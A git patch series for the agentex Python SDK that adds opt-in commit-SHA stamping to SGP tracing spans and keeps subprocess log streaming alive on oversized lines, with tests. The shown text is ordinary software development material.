From 0fa93b6d254788a2213708873d46225d6f5132e6 Mon Sep 17 00:00:00 2001 From: "stainless-app[bot]" <142633134+stainless-app[bot]@users.noreply.github.com> Date: Thu, 27 Aug 2026 02:56:58 +0000 Subject: [PATCH 01/15] codegen metadata --- .stats.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.stats.yml b/.stats.yml index ee6f43e93..e45c32e4f 100644 --- a/.stats.yml +++ b/.stats.yml @@ -1,4 +1,4 @@ configured_endpoints: 75 -openapi_spec_url: https://storage.googleapis.com/stainless-sdk-openapi-specs/sgp/agentex-sdk-7acaeb315af90255109ae17afc71e32a8e5851bb8a956a2a284cb4d344dfab51.yml -openapi_spec_hash: 3044e94b48d60311b6048e8df88e7552 +openapi_spec_url: https://storage.googleapis.com/stainless-sdk-openapi-specs/sgp/agentex-sdk-7074b9156acbeefa63e9ca2173e9c22768268e894a48f511ec902fdcff043407.yml +openapi_spec_hash: 400e8dc4ce4d49db45e2943f67fe255a config_hash: 593e89b291976a5e84e4c3c3f8324354 From 76252a98f28663e8c95777456d07e42171592c62 Mon Sep 17 00:00:00 2001 From: Cynthia Wang Date: Mon, 31 Aug 2026 11:08:39 -0400 Subject: [PATCH 02/15] feat(tracing): add opt-in commit SHA stamping for SGP spans (#505) Co-authored-by: Claude Opus 5 --- src/agentex/lib/adk/__init__.py | 4 + src/agentex/lib/core/tracing/code_revision.py | 105 +++++++++++++++++ .../processors/sgp_tracing_processor.py | 28 ++++- src/agentex/lib/environment_variables.py | 7 ++ .../processors/test_sgp_tracing_processor.py | 60 ++++++++++ tests/lib/core/tracing/test_code_revision.py | 109 ++++++++++++++++++ 6 files changed, 311 insertions(+), 2 deletions(-) create mode 100644 src/agentex/lib/core/tracing/code_revision.py create mode 100644 tests/lib/core/tracing/test_code_revision.py diff --git a/src/agentex/lib/adk/__init__.py b/src/agentex/lib/adk/__init__.py index d5be0ac52..c05f8f3ea 100644 --- a/src/agentex/lib/adk/__init__.py +++ b/src/agentex/lib/adk/__init__.py @@ -31,6 +31,9 @@ # Data-source refs for lineage (SGP-6513); implementation lives in core.tracing from agentex.lib.core.tracing import lineage + +# Opt-in commit-SHA stamping (AGX1-969); implementation in core.tracing +from agentex.lib.core.tracing import code_revision from agentex.lib.core.tracing.lineage import DataSourceRef, data_sources # Unified harness surface (AGX1-375) @@ -73,6 +76,7 @@ "TurnSpan", # Lineage data-source refs (SGP-6513) "lineage", + "code_revision", "DataSourceRef", "data_sources", # Checkpointing / LangGraph diff --git a/src/agentex/lib/core/tracing/code_revision.py b/src/agentex/lib/core/tracing/code_revision.py new file mode 100644 index 000000000..7b08dd45f --- /dev/null +++ b/src/agentex/lib/core/tracing/code_revision.py @@ -0,0 +1,105 @@ +"""Opt-in stamping of the agent's source commit onto its spans. + +Nothing is stamped until the agent calls :func:`enable`, mirroring the +``lineage`` registry next door: a process-wide switch the agent sets once at +import, rather than automatic behaviour every agent inherits. When enabled the +resolved commit lands in span data under ``__commit_sha__`` and is searchable in +the SGP Traces UI as ``__commit_sha__:``. + +This is deliberately separate from ``__agent_version__``, which is automatic and +carries the deployed image tag verbatim ("image tag or git sha"). That tag is a +real commit on some build paths but an ``-`` composite (AWS +ECR), ``latest``, or a hand-passed tag on others -- so a field named for a commit +must not simply mirror it. Values that are not git object names are refused, and +a field named ``__commit_sha__`` therefore only ever holds one. +""" + +from __future__ import annotations + +import os +import re + +from agentex.lib.utils.logging import make_logger + +__all__ = ("COMMIT_SHA_KEY", "enable", "disable", "is_enabled", "commit_sha") + +logger = make_logger(__name__) + +COMMIT_SHA_KEY = "__commit_sha__" + +# A git object name: 40 hex for SHA-1, 64 for SHA-256, or an abbreviation down to +# git's own 7-character minimum. +_GIT_SHA_RE = re.compile(r"[0-9a-fA-F]{7,64}") + +_COMMIT_SHA_ENV = "AGENT_COMMIT_SHA" +# Fallback only: automatic, and only usable when it happens to be SHA-shaped. +_AGENT_VERSION_ENV = "AGENT_VERSION" + +# Resolved once at enable() rather than per span: the value is fixed for the +# life of the process, and resolving eagerly means a bad value is reported at +# startup instead of silently producing unstamped spans. +_commit_sha: str | None = None + + +def enable(commit_sha: str | None = None) -> None: + """Opt this process in to stamping ``__commit_sha__`` onto every span. + + Value precedence: the explicit ``commit_sha`` argument, else + ``AGENT_COMMIT_SHA``, else ``AGENT_VERSION`` when the deployment happened to + set it to a bare commit SHA. A value that is not a git object name is + refused with a warning and leaves stamping off -- better an absent field + than one named for a commit that holds an image tag. + """ + global _commit_sha + + for value, source in ( + (commit_sha, "the commit_sha argument"), + (os.environ.get(_COMMIT_SHA_ENV), _COMMIT_SHA_ENV), + (os.environ.get(_AGENT_VERSION_ENV), _AGENT_VERSION_ENV), + ): + candidate = (value or "").strip() + if not candidate: + continue + if _GIT_SHA_RE.fullmatch(candidate): + _commit_sha = candidate + logger.info("code revision stamping enabled from %s", source) + return + # An explicit argument or AGENT_COMMIT_SHA is a direct statement of + # intent, so a bad value there is worth surfacing. AGENT_VERSION is only + # a fallback and is expected to be a non-SHA tag much of the time, so + # falling through it quietly is correct, not a silent failure. + if source != _AGENT_VERSION_ENV: + logger.warning( + "%s=%r is not a git commit SHA; __commit_sha__ will not be stamped.", + source, + candidate, + ) + _commit_sha = None + return + + _commit_sha = None + logger.warning( + "code revision stamping was enabled but no commit SHA was found " + "(checked the commit_sha argument, %s, and %s); __commit_sha__ will not " + "be stamped. Set %s in the agent's environment -- e.g. bake it at build " + "time with a Dockerfile ARG/ENV.", + _COMMIT_SHA_ENV, + _AGENT_VERSION_ENV, + _COMMIT_SHA_ENV, + ) + + +def disable() -> None: + """Turn stamping back off (also used for test isolation).""" + global _commit_sha + _commit_sha = None + + +def is_enabled() -> bool: + """Whether a commit SHA resolved and will be stamped.""" + return _commit_sha is not None + + +def commit_sha() -> str | None: + """The resolved commit SHA, or ``None`` when stamping is not enabled.""" + return _commit_sha diff --git a/src/agentex/lib/core/tracing/processors/sgp_tracing_processor.py b/src/agentex/lib/core/tracing/processors/sgp_tracing_processor.py index a1c0edca2..9ee269231 100644 --- a/src/agentex/lib/core/tracing/processors/sgp_tracing_processor.py +++ b/src/agentex/lib/core/tracing/processors/sgp_tracing_processor.py @@ -3,7 +3,7 @@ import os import asyncio import weakref -from typing import cast, override +from typing import Any, cast, override import scale_gp_beta.lib.tracing as tracing from scale_gp_beta import SGPClient, AsyncSGPClient @@ -11,6 +11,7 @@ from scale_gp_beta.lib.tracing.span import Span as SGPSpan from agentex.types.span import Span +from agentex.lib.core.tracing import code_revision from agentex.lib.types.tracing import SGPTracingProcessorConfig from agentex.lib.utils.logging import make_logger from agentex.lib.core.observability import tracing_metrics_recording as _metrics @@ -69,6 +70,29 @@ def _add_source_to_span(span: Span, env_vars: EnvironmentVariables) -> None: span.data["__agent_version__"] = env_vars.AGENT_VERSION +def _sgp_metadata(span: Span) -> Any: + """Metadata for the SGP write: ``span.data`` plus the opt-in commit SHA. + + Returns a COPY rather than mutating ``span``. ``trace.py`` hands the same + Span instance to every registered processor, so anything written onto + ``span.data`` here would also be serialized by the Agentex processor and + show up in caller-visible span data. ``__commit_sha__`` is opt-in and + SGP-scoped, so it must not leak that way. + + (The ``__source__`` / ``__agent_*`` keys set by ``_add_source_to_span`` do + leak like that today. Left as-is: changing five long-shipped fields is not + this change's business.) + """ + commit_sha = code_revision.commit_sha() + if commit_sha is None: + return span.data + if isinstance(span.data, dict): + return {**span.data, code_revision.COMMIT_SHA_KEY: commit_sha} + # List-shaped data is an accepted `data` shape and has nowhere to put a + # metadata key; leave it untouched rather than dropping the caller's data. + return span.data + + def _build_sgp_span(span: Span, env_vars: EnvironmentVariables) -> SGPSpan: """Build an SGPSpan from an agentex Span. Idempotent on span_id at the SGP backend.""" _add_source_to_span(span, env_vars) @@ -82,7 +106,7 @@ def _build_sgp_span(span: Span, env_vars: EnvironmentVariables) -> SGPSpan: trace_id=span.trace_id, input=span.input, output=span.output, - metadata=span.data, + metadata=_sgp_metadata(span), ), ) sgp_span.start_time = span.start_time.isoformat() # type: ignore[union-attr] diff --git a/src/agentex/lib/environment_variables.py b/src/agentex/lib/environment_variables.py index 7d893e462..00dbbaada 100644 --- a/src/agentex/lib/environment_variables.py +++ b/src/agentex/lib/environment_variables.py @@ -25,6 +25,7 @@ class EnvVarKeys(str, Enum): AGENT_DESCRIPTION = "AGENT_DESCRIPTION" AGENT_ID = "AGENT_ID" AGENT_VERSION = "AGENT_VERSION" + AGENT_COMMIT_SHA = "AGENT_COMMIT_SHA" AGENT_API_KEY = "AGENT_API_KEY" # ACP Configuration ACP_URL = "ACP_URL" @@ -67,6 +68,12 @@ class EnvironmentVariables(BaseModel): AGENT_ID: str | None = None # Build/version discriminator (image tag or git sha), set by the deployment AGENT_VERSION: str | None = None + # The agent's source commit, baked into the image or set by the deployment. + # Unlike AGENT_VERSION this is expected to be a git SHA and nothing else, and + # it is OPT-IN: nothing is stamped unless the agent calls + # `adk.code_revision.enable()`, which also refuses a value that is not a git + # object name. See agentex.lib.core.tracing.code_revision. + AGENT_COMMIT_SHA: str | None = None AGENT_API_KEY: str | None = None ACP_TYPE: str | None = "async" AGENT_INPUT_TYPE: str | None = None diff --git a/tests/lib/core/tracing/processors/test_sgp_tracing_processor.py b/tests/lib/core/tracing/processors/test_sgp_tracing_processor.py index 4a233fb72..6cd324f01 100644 --- a/tests/lib/core/tracing/processors/test_sgp_tracing_processor.py +++ b/tests/lib/core/tracing/processors/test_sgp_tracing_processor.py @@ -54,6 +54,66 @@ def test_agent_identity_and_version_stamped_into_span_data(self): "__agent_version__": "sha-abc123", } + SHA = "b362b171a9c4e1f09d8e7a6b5c4d3e2f1a0b9c8d" + + def test_commit_sha_is_not_stamped_without_opt_in(self, monkeypatch): + """Upgrading the SDK must not start emitting __commit_sha__ on its own, + even when the environment carries a perfectly good SHA.""" + from agentex.lib.core.tracing import code_revision + from agentex.lib.core.tracing.processors.sgp_tracing_processor import _sgp_metadata + + monkeypatch.setenv("AGENT_COMMIT_SHA", self.SHA) + code_revision.disable() + + span = _make_span(); span.data = {} + assert "__commit_sha__" not in (_sgp_metadata(span) or {}) + + def test_commit_sha_is_stamped_after_opt_in(self, monkeypatch): + from agentex.lib.core.tracing import code_revision + from agentex.lib.core.tracing.processors.sgp_tracing_processor import _sgp_metadata + + monkeypatch.setenv("AGENT_COMMIT_SHA", self.SHA) + code_revision.enable() + try: + span = _make_span(); span.data = {"caller": "kept"} + metadata = _sgp_metadata(span) + assert metadata["__commit_sha__"] == self.SHA + assert metadata["caller"] == "kept" + finally: + code_revision.disable() + + def test_commit_sha_does_not_leak_onto_the_shared_span(self, monkeypatch): + """trace.py hands ONE Span to every processor. If the commit SHA were + written onto span.data, a co-registered Agentex processor would + serialize it too, and it would surface in caller-visible span data.""" + from agentex.lib.core.tracing import code_revision + from agentex.lib.core.tracing.processors.sgp_tracing_processor import _sgp_metadata + from agentex.lib.core.tracing.processors.agentex_tracing_processor import _create_kwargs + + monkeypatch.setenv("AGENT_COMMIT_SHA", self.SHA) + code_revision.enable() + try: + span = _make_span(); span.data = {} + assert _sgp_metadata(span)["__commit_sha__"] == self.SHA # SGP sees it + assert "__commit_sha__" not in span.data # the span does not + assert "__commit_sha__" not in (_create_kwargs(span)["data"] or {}) + finally: + code_revision.disable() + + def test_list_shaped_data_is_left_alone(self, monkeypatch): + """`data` may be a list of dicts; there is nowhere to put a metadata key, + and dropping the caller's data would be worse than omitting the field.""" + from agentex.lib.core.tracing import code_revision + from agentex.lib.core.tracing.processors.sgp_tracing_processor import _sgp_metadata + + monkeypatch.setenv("AGENT_COMMIT_SHA", self.SHA) + code_revision.enable() + try: + span = _make_span(); span.data = [{"a": 1}] + assert _sgp_metadata(span) == [{"a": 1}] + finally: + code_revision.disable() + def test_unset_identity_fields_are_omitted(self): from agentex.lib.core.tracing.processors.sgp_tracing_processor import _add_source_to_span diff --git a/tests/lib/core/tracing/test_code_revision.py b/tests/lib/core/tracing/test_code_revision.py new file mode 100644 index 000000000..0b89b88f2 --- /dev/null +++ b/tests/lib/core/tracing/test_code_revision.py @@ -0,0 +1,109 @@ +"""Opt-in commit-SHA stamping. + +The contract that matters: an agent that does not call ``enable()`` gets nothing, +so upgrading the SDK never starts emitting this field on its own. +""" + +from __future__ import annotations + +import pytest + +from agentex.lib.core.tracing import code_revision + +SHA = "b362b171a9c4e1f09d8e7a6b5c4d3e2f1a0b9c8d" + + +@pytest.fixture(autouse=True) +def _reset(): + """State is process-wide (like the lineage registry), so isolate each test.""" + code_revision.disable() + yield + code_revision.disable() + + +class TestOptIn: + def test_disabled_by_default(self, monkeypatch): + """Even with the env fully populated, nothing resolves until enable().""" + monkeypatch.setenv("AGENT_COMMIT_SHA", SHA) + monkeypatch.setenv("AGENT_VERSION", SHA) + assert code_revision.commit_sha() is None + assert code_revision.is_enabled() is False + + def test_enable_reads_agent_commit_sha(self, monkeypatch): + monkeypatch.setenv("AGENT_COMMIT_SHA", SHA) + code_revision.enable() + assert code_revision.commit_sha() == SHA + assert code_revision.is_enabled() is True + + def test_explicit_argument_wins(self, monkeypatch): + monkeypatch.setenv("AGENT_COMMIT_SHA", SHA) + code_revision.enable("7f3a91c2") + assert code_revision.commit_sha() == "7f3a91c2" + + def test_disable_turns_it_back_off(self, monkeypatch): + monkeypatch.setenv("AGENT_COMMIT_SHA", SHA) + code_revision.enable() + code_revision.disable() + assert code_revision.commit_sha() is None + + +class TestValueIsAlwaysACommit: + """A field named for a commit must never hold an image tag.""" + + @pytest.mark.parametrize( + "value", + [ + "latest", + "v1.2.3", + "0.2.4-v4", + "rocket_mock_agent-b362b171a9c4e1f09d8e7a6b5c4d3e2f1a0b9c8d", # AWS ECR composite + "abc", # shorter than git's 7-char minimum + "z" * 40, # right length, not hex + ], + ) + def test_non_sha_is_refused(self, monkeypatch, value): + monkeypatch.setenv("AGENT_COMMIT_SHA", value) + code_revision.enable() + assert code_revision.commit_sha() is None + + @pytest.mark.parametrize("value", [SHA, SHA.upper(), "b362b17", "a" * 64]) + def test_git_object_names_are_accepted(self, monkeypatch, value): + monkeypatch.setenv("AGENT_COMMIT_SHA", value) + code_revision.enable() + assert code_revision.commit_sha() == value + + def test_whitespace_only_is_refused(self, monkeypatch): + monkeypatch.setenv("AGENT_COMMIT_SHA", " ") + code_revision.enable() + assert code_revision.commit_sha() is None + + def test_enable_with_nothing_available_is_a_no_op(self, monkeypatch): + monkeypatch.delenv("AGENT_COMMIT_SHA", raising=False) + monkeypatch.delenv("AGENT_VERSION", raising=False) + code_revision.enable() + assert code_revision.commit_sha() is None + + +class TestAgentVersionFallback: + def test_falls_back_to_agent_version_when_sha_shaped(self, monkeypatch): + """A platform deploy already sets AGENT_VERSION; on GCP/Azure it is a + bare SHA, so an opting-in agent needs no extra plumbing.""" + monkeypatch.delenv("AGENT_COMMIT_SHA", raising=False) + monkeypatch.setenv("AGENT_VERSION", SHA) + code_revision.enable() + assert code_revision.commit_sha() == SHA + + def test_does_not_fall_back_to_a_non_sha_agent_version(self, monkeypatch): + """AGENT_VERSION is 'latest' or an AWS composite much of the time.""" + monkeypatch.delenv("AGENT_COMMIT_SHA", raising=False) + monkeypatch.setenv("AGENT_VERSION", "latest") + code_revision.enable() + assert code_revision.commit_sha() is None + + def test_bad_explicit_value_does_not_fall_through(self, monkeypatch): + """An explicit AGENT_COMMIT_SHA is a statement of intent: if it is wrong, + say so rather than silently substituting the image tag.""" + monkeypatch.setenv("AGENT_COMMIT_SHA", "not-a-sha") + monkeypatch.setenv("AGENT_VERSION", SHA) + code_revision.enable() + assert code_revision.commit_sha() is None From f394ce7f1dfd0088eb63e7cdf64ff37307990706 Mon Sep 17 00:00:00 2001 From: "stainless-app[bot]" <142633134+stainless-app[bot]@users.noreply.github.com> Date: Tue, 1 Sep 2026 22:15:08 +0000 Subject: [PATCH 03/15] codegen metadata --- .stats.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.stats.yml b/.stats.yml index e45c32e4f..955f7e2ac 100644 --- a/.stats.yml +++ b/.stats.yml @@ -1,4 +1,4 @@ configured_endpoints: 75 -openapi_spec_url: https://storage.googleapis.com/stainless-sdk-openapi-specs/sgp/agentex-sdk-7074b9156acbeefa63e9ca2173e9c22768268e894a48f511ec902fdcff043407.yml -openapi_spec_hash: 400e8dc4ce4d49db45e2943f67fe255a +openapi_spec_url: https://storage.googleapis.com/stainless-sdk-openapi-specs/sgp/agentex-sdk-ee0c521f0612c31b874bd595b90cd9209545bab603983552a1a7a87f38ed931e.yml +openapi_spec_hash: 917a1ffe9e353bed2740524dec786ed2 config_hash: 593e89b291976a5e84e4c3c3f8324354 From 0db6037e63ca1b24b80ae0d38883f7687ae5b9e5 Mon Sep 17 00:00:00 2001 From: Rishav Chakravarti Date: Wed, 9 Sep 2026 10:13:03 -0400 Subject: [PATCH 04/15] fix: keep agent output streaming alive on an unreadable line, and honor LOG_LEVEL (#509) --- src/agentex/lib/cli/debug/debug_handlers.py | 3 + src/agentex/lib/cli/handlers/run_handlers.py | 60 ++++++- src/agentex/lib/cli/utils/cli_utils.py | 12 ++ src/agentex/lib/utils/logging.py | 21 ++- tests/lib/cli/test_run_handlers_streaming.py | 180 +++++++++++++++++++ tests/lib/utils/test_logging_level.py | 66 +++++++ 6 files changed, 337 insertions(+), 5 deletions(-) create mode 100644 tests/lib/cli/test_run_handlers_streaming.py create mode 100644 tests/lib/utils/test_logging_level.py diff --git a/src/agentex/lib/cli/debug/debug_handlers.py b/src/agentex/lib/cli/debug/debug_handlers.py index 98746387f..a27d682cd 100644 --- a/src/agentex/lib/cli/debug/debug_handlers.py +++ b/src/agentex/lib/cli/debug/debug_handlers.py @@ -16,6 +16,7 @@ pass from agentex.lib.utils.logging import make_logger +from agentex.lib.cli.utils.cli_utils import SUBPROCESS_STREAM_LIMIT from .debug_config import DebugConfig, resolve_debug_port @@ -66,6 +67,7 @@ async def start_temporal_worker_debug( env=debug_env, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT, + limit=SUBPROCESS_STREAM_LIMIT, ) @@ -119,6 +121,7 @@ async def start_acp_server_debug( env=debug_env, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT, + limit=SUBPROCESS_STREAM_LIMIT, ) diff --git a/src/agentex/lib/cli/handlers/run_handlers.py b/src/agentex/lib/cli/handlers/run_handlers.py index 3a43e95dd..18ee84e93 100644 --- a/src/agentex/lib/cli/handlers/run_handlers.py +++ b/src/agentex/lib/cli/handlers/run_handlers.py @@ -12,6 +12,7 @@ from agentex.lib.cli.debug import DebugConfig, start_acp_server_debug, start_temporal_worker_debug from agentex.lib.utils.logging import make_logger from agentex.config.agent_manifest import AgentManifest +from agentex.lib.cli.utils.cli_utils import SUBPROCESS_STREAM_LIMIT from agentex.lib.cli.utils.path_utils import ( get_file_paths, calculate_uvicorn_target_for_local, @@ -23,6 +24,11 @@ logger = make_logger(__name__) console = Console() +# How many consecutive unreadable lines to skip before giving up on the stream. +# Skipping is only known-safe for the limit-overrun case; this bounds the damage +# if some other error repeats without consuming anything. +MAX_CONSECUTIVE_READ_ERRORS = 100 + class RunError(Exception): """An error occurred during agent run""" @@ -215,6 +221,7 @@ async def start_acp_server( env=env, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT, + limit=SUBPROCESS_STREAM_LIMIT, ) @@ -234,23 +241,68 @@ async def start_temporal_worker( env=env, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT, + limit=SUBPROCESS_STREAM_LIMIT, ) async def stream_process_output(process: asyncio.subprocess.Process, prefix: str): - """Stream process output with prefix""" + """Stream process output with prefix. + + This loop is the only reader of the child's stdout pipe. If it ever stops + reading, the pipe fills and the child blocks forever inside ``write()``, + which presents as a silent freeze: 0% CPU, no further logs, no traceback. + So a single unreadable line must never end the loop. + """ try: if process.stdout is None: return + consecutive_read_errors = 0 while True: - line = await process.stdout.readline() + try: + line = await process.stdout.readline() + except ValueError as e: + # readline() raises ValueError when a line exceeds the stream limit. + # In *that* case it has already discarded the line and resumed the + # transport, so skipping it makes guaranteed progress. Any other + # ValueError carries no such guarantee, and retrying it forever would + # spin without draining. We cannot tell the two apart (readline + # flattens LimitOverrunError into a bare ValueError), so bound the + # retries and let the outer handler report the hang risk. + consecutive_read_errors += 1 + if consecutive_read_errors > MAX_CONSECUTIVE_READ_ERRORS: + raise + logger.warning( + f"Skipping an unreadable line from {prefix}: {e!r} " + f"(consecutive failure {consecutive_read_errors}/{MAX_CONSECUTIVE_READ_ERRORS}). " + f"If this says the chunk exceeded the limit, raise limit= on this " + f"process's create_subprocess_exec." + ) + continue + + consecutive_read_errors = 0 + if not line: break - decoded_line = line.decode("utf-8").rstrip() + + try: + decoded_line = line.decode("utf-8").rstrip() + except UnicodeDecodeError as e: + logger.warning(f"Dropped an undecodable log line from {prefix} ({e}).") + continue + if decoded_line: # Only print non-empty lines console.print(f"[dim]{prefix}:[/dim] {decoded_line}") except Exception as e: - logger.debug(f"Output streaming ended for {prefix}: {e}") + # The escalation path, including for the re-raise above. Anything reaching + # here ends the loop, so the child is now at risk of blocking on a full pipe. + # Warning rather than debug: this used to be a debug() that make_logger could + # never emit, which is why three freezes produced no clue. + # CancelledError derives from BaseException, so the auto-reload path that + # cancels these tasks passes straight through and is unaffected. + logger.warning( + f"Output streaming for {prefix} stopped on {e!r}. " + f"Nothing is draining its stdout now, so {prefix} will hang once the pipe fills." + ) async def run_agent(manifest_path: str, debug_config: "DebugConfig | None" = None): diff --git a/src/agentex/lib/cli/utils/cli_utils.py b/src/agentex/lib/cli/utils/cli_utils.py index 43b3fba62..4238e8fd9 100644 --- a/src/agentex/lib/cli/utils/cli_utils.py +++ b/src/agentex/lib/cli/utils/cli_utils.py @@ -5,6 +5,18 @@ console = Console() +# asyncio's StreamReader defaults to 64 KiB, and a single log line above that makes +# readline() raise. Agents legitimately emit large lines (serialized charts, payloads +# echoed back by validation errors), so give the reader room before it has to drop one. +# +# Lives here rather than beside its users so that both the normal spawns in +# cli/handlers/run_handlers.py and the debug spawns in cli/debug/debug_handlers.py can +# import it: run_handlers imports cli.debug, so the constant cannot live in either one. +# Keep the two in step. A subprocess left on the asyncio default overruns far more +# easily, and enough consecutive overruns exhaust the reader's retry bound and stop it +# draining, which is the deadlock the bound is there to avoid. +SUBPROCESS_STREAM_LIMIT = 8 * 1024 * 1024 + def handle_questionary_cancellation( result: str | None, operation: str = "operation" diff --git a/src/agentex/lib/utils/logging.py b/src/agentex/lib/utils/logging.py index 5bbaf61ac..a0d39331b 100644 --- a/src/agentex/lib/utils/logging.py +++ b/src/agentex/lib/utils/logging.py @@ -11,6 +11,25 @@ ctx_var_request_id = contextvars.ContextVar[str]("request_id") +DEFAULT_LOG_LEVEL = logging.INFO + + +def resolve_log_level() -> int: + """Read the log level from ``LOG_LEVEL``, falling back to INFO. + + Read straight from the environment rather than through ``EnvVarKeys``, since + ``environment_variables`` imports this module and the reverse would be a cycle. + + ``getLevelName`` returns the string ``"Level FOO"`` for anything it does not + recognise, so the isinstance check is what stops a typo in ``LOG_LEVEL`` from + silently turning logging off. + """ + configured = os.getenv("LOG_LEVEL") + if not configured: + return DEFAULT_LOG_LEVEL + level = logging.getLevelName(configured.strip().upper()) + return level if isinstance(level, int) else DEFAULT_LOG_LEVEL + class CustomJSONFormatter(json_log_formatter.JSONFormatter): def json_record(self, message: str, extra: dict, record: logging.LogRecord) -> dict: # type: ignore[override] @@ -51,7 +70,7 @@ def make_logger(name: str) -> logging.Logger: """ # Create a console object to print colored text logger = logging.getLogger(name) - logger.setLevel(logging.INFO) + logger.setLevel(resolve_log_level()) environment = os.getenv("ENVIRONMENT") if environment == "local": diff --git a/tests/lib/cli/test_run_handlers_streaming.py b/tests/lib/cli/test_run_handlers_streaming.py new file mode 100644 index 000000000..8f0ab13b5 --- /dev/null +++ b/tests/lib/cli/test_run_handlers_streaming.py @@ -0,0 +1,180 @@ +"""Tests for run_handlers output streaming. + +stream_process_output is the only reader of a child's stdout pipe. If it stops +reading, the pipe fills and the child blocks forever inside write(), which +presents as a silent freeze with no traceback. These tests pin the behaviour +that prevents that: a line the reader cannot handle is skipped, not fatal. +""" + +from __future__ import annotations + +import sys +import asyncio +from typing import Any + +import pytest + +from agentex.lib.cli.debug import DebugMode, DebugConfig +from agentex.lib.cli.handlers import run_handlers +from agentex.lib.cli.debug.debug_handlers import ( + start_acp_server_debug, + start_temporal_worker_debug, +) +from agentex.lib.cli.handlers.run_handlers import ( + SUBPROCESS_STREAM_LIMIT, + start_acp_server, + start_temporal_worker, + stream_process_output, +) + +# Emits a line of MARKER over the reader's limit, then enough further output to +# more than fill a 64 KiB pipe. If the reader stops draining, the child cannot +# finish its writes and never exits. +MARKER = "X" + +CHILD_SCRIPT = """ +print("before") +print("{marker}" * {oversized}) +for i in range(2000): + print("after", i, "y" * 60) +print("done") +""" + + +async def _drain(limit: int, oversized: int) -> int | None: + """Run the child under stream_process_output. None means it never exited.""" + process = await asyncio.create_subprocess_exec( + sys.executable, + "-c", + CHILD_SCRIPT.format(marker=MARKER, oversized=oversized), + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.STDOUT, + limit=limit, + ) + streamer = asyncio.create_task(stream_process_output(process, "TEST")) + try: + await asyncio.wait_for(asyncio.gather(streamer, process.wait()), timeout=60) + except TimeoutError: + process.kill() + await process.wait() + return None + return process.returncode + + +async def test_oversized_line_is_skipped_without_stalling_the_child( + capsys: pytest.CaptureFixture[str], +) -> None: + """A line past the reader's limit is dropped, and streaming continues. + + Before this was handled per line, readline() raised, the loop exited, and the + child deadlocked on a full pipe. The child reaching exit is the assertion. + """ + limit = 64 * 1024 + oversized = limit + 16_000 + + returncode = await _drain(limit=limit, oversized=oversized) + out = capsys.readouterr().out + + assert returncode == 0, "child did not exit: the reader stopped draining its pipe" + # The offending line is gone, but everything after it still streamed. + assert out.count(MARKER) == 0 + assert "done" in out + + +async def test_large_line_within_the_limit_is_streamed_in_full( + capsys: pytest.CaptureFixture[str], +) -> None: + """A line over asyncio's 64 KiB default still reaches the console under our limit. + + Counts marker characters rather than matching the line, because rich wraps + long output across terminal-width lines. + """ + oversized = 82_000 + + returncode = await _drain(limit=SUBPROCESS_STREAM_LIMIT, oversized=oversized) + out = capsys.readouterr().out + + assert returncode == 0 + assert out.count(MARKER) == oversized, "the large line was dropped rather than streamed" + + +class _AlwaysFailingReader: + """A reader whose readline() raises without consuming anything. + + The dangerous shape: skipping it makes no progress, so an unbounded retry + would spin at 100% CPU while still not draining the pipe. + """ + + def __init__(self) -> None: + self.attempts = 0 + + async def readline(self) -> bytes: + self.attempts += 1 + raise ValueError("unreadable, and nothing was consumed") + + +class _FakeProcess: + def __init__(self, stdout: Any) -> None: + self.stdout = stdout + + +async def test_repeated_unreadable_lines_give_up_instead_of_spinning() -> None: + """A ValueError that consumes nothing must not loop forever.""" + reader = _AlwaysFailingReader() + + await asyncio.wait_for( + stream_process_output(_FakeProcess(reader), "TEST"), timeout=30 + ) + + assert reader.attempts == run_handlers.MAX_CONSECUTIVE_READ_ERRORS + 1 + + +async def test_cancellation_is_not_swallowed() -> None: + """The auto-reload path cancels these tasks, so cancel must propagate. + + CancelledError derives from BaseException, so the outer `except Exception` + does not catch it. This pins that, since swallowing it would hang restarts. + """ + + class _NeverReturns: + async def readline(self) -> bytes: + await asyncio.sleep(3600) + return b"" + + task = asyncio.create_task(stream_process_output(_FakeProcess(_NeverReturns()), "TEST")) + await asyncio.sleep(0) + task.cancel() + + with pytest.raises(asyncio.CancelledError): + await task + + +async def test_every_spawn_uses_the_larger_limit( + monkeypatch: pytest.MonkeyPatch, tmp_path: Any +) -> None: + """Every spawn must pass limit=, including the debug ones. + + A subprocess left on asyncio's default overruns far more easily, and enough + consecutive overruns exhaust MAX_CONSECUTIVE_READ_ERRORS and stop the reader + draining, which is the deadlock the bound exists to avoid. + """ + seen: list[int | None] = [] + + async def fake_exec(*_args: Any, **kwargs: Any) -> None: + seen.append(kwargs.get("limit")) + + monkeypatch.setattr(asyncio, "create_subprocess_exec", fake_exec) + monkeypatch.setattr(run_handlers, "calculate_uvicorn_target_for_local", lambda *_: "project.acp") + + await start_acp_server(tmp_path / "acp.py", 8000, {}, tmp_path) + await start_temporal_worker(tmp_path / "run_worker.py", {}, tmp_path) + + # BOTH, since each helper refuses unless its own mode is enabled. + debug_config = DebugConfig( + enabled=True, mode=DebugMode.BOTH, port=5678, wait_for_attach=False, auto_port=False + ) + await start_acp_server_debug(tmp_path / "acp.py", 8000, {}, debug_config) + await start_temporal_worker_debug(tmp_path / "run_worker.py", {}, debug_config) + + assert seen == [SUBPROCESS_STREAM_LIMIT] * 4, f"a spawn is missing limit=: {seen}" + assert SUBPROCESS_STREAM_LIMIT > 64 * 1024, "asyncio's default is what breaks readline()" diff --git a/tests/lib/utils/test_logging_level.py b/tests/lib/utils/test_logging_level.py new file mode 100644 index 000000000..16b171e33 --- /dev/null +++ b/tests/lib/utils/test_logging_level.py @@ -0,0 +1,66 @@ +"""Tests for log level resolution in agentex.lib.utils.logging. + +The level used to be pinned to INFO with no override, so a debug() call could +never be emitted on any configuration. That is not just a missing feature: it +made diagnostics that were already written into the SDK unreachable. +""" + +from __future__ import annotations + +import logging + +import pytest + +from agentex.lib.utils.logging import ( + DEFAULT_LOG_LEVEL, + make_logger, + resolve_log_level, +) + + +def test_defaults_to_info_when_unset(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.delenv("LOG_LEVEL", raising=False) + + assert resolve_log_level() == DEFAULT_LOG_LEVEL == logging.INFO + + 